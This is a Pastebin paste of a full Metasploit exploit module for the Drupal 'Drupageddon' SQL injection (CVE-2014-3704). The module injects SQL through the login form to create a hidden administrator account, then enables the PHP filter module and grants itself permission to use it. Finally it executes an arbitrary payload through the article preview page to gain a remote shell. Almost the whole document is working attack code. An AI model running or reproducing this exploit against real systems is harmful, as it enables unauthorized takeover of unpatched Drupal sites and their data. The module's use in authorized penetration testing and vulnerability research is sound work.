Advertisement
Guest User

Untitled

a guest
Nov 15th, 2016
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.67 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. require 'msf/core'
  7.  
  8. class MetasploitModule < Msf::Exploit::Remote
  9. Rank = ExcellentRanking
  10.  
  11. include Msf::Exploit::Remote::HttpClient
  12.  
  13. def initialize(info={})
  14. super(update_info(info,
  15. 'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
  16. 'Description' => %q{
  17. This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
  18. (aka Drupageddon) in order to achieve a remote shell on the vulnerable
  19. instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
  20. in 7.32).
  21. },
  22. 'License' => MSF_LICENSE,
  23. 'Author' =>
  24. [
  25. 'SektionEins', # discovery
  26. 'Christian Mehlmauer', # msf module
  27. 'Brandon Perry' # msf module
  28. ],
  29. 'References' =>
  30. [
  31. ['CVE', '2014-3704'],
  32. ['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
  33. ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
  34. ],
  35. 'Privileged' => false,
  36. 'Platform' => ['php'],
  37. 'Arch' => ARCH_PHP,
  38. 'Targets' => [['Drupal 7.0 - 7.31',{}]],
  39. 'DisclosureDate' => 'Oct 15 2014',
  40. 'DefaultTarget' => 0
  41. ))
  42.  
  43. register_options(
  44. [
  45. OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
  46. ], self.class)
  47.  
  48. register_advanced_options(
  49. [
  50. OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
  51. OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
  52. ], self.class)
  53. end
  54.  
  55. def uri_path
  56. normalize_uri(target_uri.path)
  57. end
  58.  
  59. def admin_role
  60. datastore['ADMIN_ROLE']
  61. end
  62.  
  63. def iter
  64. datastore['ITER']
  65. end
  66.  
  67. def itoa64
  68. './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
  69. end
  70.  
  71. # PHPs PHPASS base64 method
  72. def phpass_encode64(input, count)
  73. out = ''
  74. cur = 0
  75. while cur < count
  76. value = input[cur].ord
  77. cur += 1
  78. out << itoa64[value & 0x3f]
  79. if cur < count
  80. value |= input[cur].ord << 8
  81. end
  82. out << itoa64[(value >> 6) & 0x3f]
  83. break if cur >= count
  84. cur += 1
  85.  
  86. if cur < count
  87. value |= input[cur].ord << 16
  88. end
  89. out << itoa64[(value >> 12) & 0x3f]
  90. break if cur >= count
  91. cur += 1
  92. out << itoa64[(value >> 18) & 0x3f]
  93. end
  94. out
  95. end
  96.  
  97. def generate_password_hash(pass)
  98. # Syntax for MD5:
  99. # $P$ = MD5
  100. # one char representing the hash iterations (min 7)
  101. # 8 chars salt
  102. # MD5_raw(salt.pass) + iterations
  103. # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
  104. iter_char = itoa64[iter]
  105. salt = Rex::Text.rand_text_alpha(8)
  106. md5 = Rex::Text.md5_raw("#{salt}#{pass}")
  107. # convert iter from log2 to integer
  108. iter_count = 2**iter
  109. 1.upto(iter_count) {
  110. md5 = Rex::Text.md5_raw("#{md5}#{pass}")
  111. }
  112. md5_base64 = phpass_encode64(md5, md5.length)
  113. md5_stripped = md5_base64[0...22]
  114. pass = "$P\\$" + iter_char + salt + md5_stripped
  115. vprint_status("password hash: #{pass}")
  116.  
  117. return pass
  118. end
  119.  
  120. def sql_insert_user(user, pass)
  121. "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
  122. end
  123.  
  124. def sql_make_user_admin(user)
  125. "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
  126. end
  127.  
  128. def extract_form_ids(content)
  129. form_build_id = $1 if content =~ /name="form_build_id" value="(.+?)"/
  130. form_token = $1 if content =~ /name="form_token" value="(.+?)"/
  131.  
  132. vprint_status("form_build_id: #{form_build_id}")
  133. vprint_status("form_token: #{form_token}")
  134.  
  135. return form_build_id, form_token
  136. end
  137.  
  138. def exploit
  139.  
  140. # TODO: Check if option admin_role exists via admin/people/permissions/roles
  141.  
  142. # call login page to extract tokens
  143. print_status("Testing page")
  144. res = send_request_cgi({
  145. 'uri' => uri_path,
  146. 'vars_get' => {
  147. 'q' => 'user/login'
  148. }
  149. })
  150.  
  151. unless res and res.body
  152. fail_with(Failure::Unknown, "No response or response body, bailing.")
  153. end
  154.  
  155. form_build_id, form_token = extract_form_ids(res.body)
  156.  
  157. user = Rex::Text.rand_text_alpha(10)
  158. pass = Rex::Text.rand_text_alpha(10)
  159.  
  160. post = {
  161. "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
  162. 'name[0]' => Rex::Text.rand_text_alpha(10),
  163. 'pass' => Rex::Text.rand_text_alpha(10),
  164. 'form_build_id' => form_build_id,
  165. 'form_id' => 'user_login',
  166. 'op' => 'Log in'
  167. }
  168.  
  169. print_status("Creating new user #{user}:#{pass}")
  170. res = send_request_cgi({
  171. 'uri' => uri_path,
  172. 'method' => 'POST',
  173. 'vars_post' => post,
  174. 'vars_get' => {
  175. 'q' => 'user/login'
  176. }
  177. })
  178.  
  179. unless res and res.body
  180. fail_with(Failure::Unknown, "No response or response body, bailing.")
  181. end
  182.  
  183. # login
  184. print_status("Logging in as #{user}:#{pass}")
  185. res = send_request_cgi({
  186. 'uri' => uri_path,
  187. 'method' => 'POST',
  188. 'vars_post' => {
  189. 'name' => user,
  190. 'pass' => pass,
  191. 'form_build_id' => form_build_id,
  192. 'form_id' => 'user_login',
  193. 'op' => 'Log in'
  194. },
  195. 'vars_get' => {
  196. 'q' => 'user/login'
  197. }
  198. })
  199.  
  200. unless res and res.code == 302
  201. fail_with(Failure::Unknown, "No response or response body, bailing.")
  202. end
  203.  
  204. cookie = res.get_cookies
  205. vprint_status("cookie: #{cookie}")
  206.  
  207. # call admin interface to extract CSRF token and enabled modules
  208. print_status("Trying to parse enabled modules")
  209. res = send_request_cgi({
  210. 'uri' => uri_path,
  211. 'vars_get' => {
  212. 'q' => 'admin/modules'
  213. },
  214. 'cookie' => cookie
  215. })
  216.  
  217. form_build_id, form_token = extract_form_ids(res.body)
  218.  
  219. enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
  220. enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
  221.  
  222. unless enabled_matches
  223. fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
  224. end
  225.  
  226. post = {
  227. 'modules[Core][php][enable]' => '1',
  228. 'form_build_id' => form_build_id,
  229. 'form_token' => form_token,
  230. 'form_id' => 'system_modules',
  231. 'op' => 'Save configuration'
  232. }
  233.  
  234. enabled_matches.each do |match|
  235. post[match.captures[0]] = '1'
  236. end
  237.  
  238. # enable PHP filter
  239. print_status("Enabling the PHP filter module")
  240. res = send_request_cgi({
  241. 'uri' => uri_path,
  242. 'method' => 'POST',
  243. 'vars_post' => post,
  244. 'vars_get' => {
  245. 'q' => 'admin/modules/list/confirm'
  246. },
  247. 'cookie' => cookie
  248. })
  249.  
  250. unless res and res.body
  251. fail_with(Failure::Unknown, "No response or response body, bailing.")
  252. end
  253.  
  254. # Response: http 302, Location: http://10.211.55.50/?q=admin/modules
  255.  
  256. print_status("Setting permissions for PHP filter module")
  257.  
  258. # allow admin to use php_code
  259. res = send_request_cgi({
  260. 'uri' => uri_path,
  261. 'vars_get' => {
  262. 'q' => 'admin/people/permissions'
  263. },
  264. 'cookie' => cookie
  265. })
  266.  
  267.  
  268. unless res and res.body
  269. fail_with(Failure::Unknown, "No response or response body, bailing.")
  270. end
  271.  
  272. form_build_id, form_token = extract_form_ids(res.body)
  273.  
  274. perm_regex = /name="(.*)" value="(.*)" checked="checked"/
  275. enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
  276.  
  277. unless enabled_perms
  278. fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
  279. end
  280.  
  281. # get administrator role id
  282. id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
  283. vprint_status("admin role id: #{id}")
  284.  
  285. unless id
  286. fail_with(Failure::Unknown, "Could not parse out administrator ID")
  287. end
  288.  
  289. post = {
  290. "#{id}[use text format php_code]" => 'use text format php_code',
  291. 'form_build_id' => form_build_id,
  292. 'form_token' => form_token,
  293. 'form_id' => 'user_admin_permissions',
  294. 'op' => 'Save permissions'
  295. }
  296.  
  297. enabled_perms.each do |match|
  298. post[match.captures[0]] = match.captures[1]
  299. end
  300.  
  301. res = send_request_cgi({
  302. 'uri' => uri_path,
  303. 'method' => 'POST',
  304. 'vars_post' => post,
  305. 'vars_get' => {
  306. 'q' => 'admin/people/permissions'
  307. },
  308. 'cookie' => cookie
  309. })
  310.  
  311. unless res and res.body
  312. fail_with(Failure::Unknown, "No response or response body, bailing.")
  313. end
  314.  
  315. # Add new Content page (extract csrf token)
  316. print_status("Getting tokens from create new article page")
  317. res = send_request_cgi({
  318. 'uri' => uri_path,
  319. 'vars_get' => {
  320. 'q' => 'node/add/article'
  321. },
  322. 'cookie' => cookie
  323. })
  324.  
  325. unless res and res.body
  326. fail_with(Failure::Unknown, "No response or response body, bailing.")
  327. end
  328.  
  329. form_build_id, form_token = extract_form_ids(res.body)
  330.  
  331. # Preview to trigger the payload
  332. data = Rex::MIME::Message.new
  333. data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
  334. data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
  335. data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
  336. data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
  337. data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
  338. data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
  339. data.add_part('Preview', nil, nil, 'form-data; name="op"')
  340. data.add_part(user, nil, nil, 'form-data; name="name"')
  341. data.add_part('1', nil, nil, 'form-data; name="status"')
  342. data.add_part('1', nil, nil, 'form-data; name="promote"')
  343. post_data = data.to_s
  344.  
  345. print_status("Calling preview page. Exploit should trigger...")
  346. send_request_cgi(
  347. 'method' => 'POST',
  348. 'uri' => uri_path,
  349. 'ctype' => "multipart/form-data; boundary=#{data.bound}",
  350. 'data' => post_data,
  351. 'vars_get' => {
  352. 'q' => 'node/add/article'
  353. },
  354. 'cookie' => cookie
  355. )
  356. end
  357. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement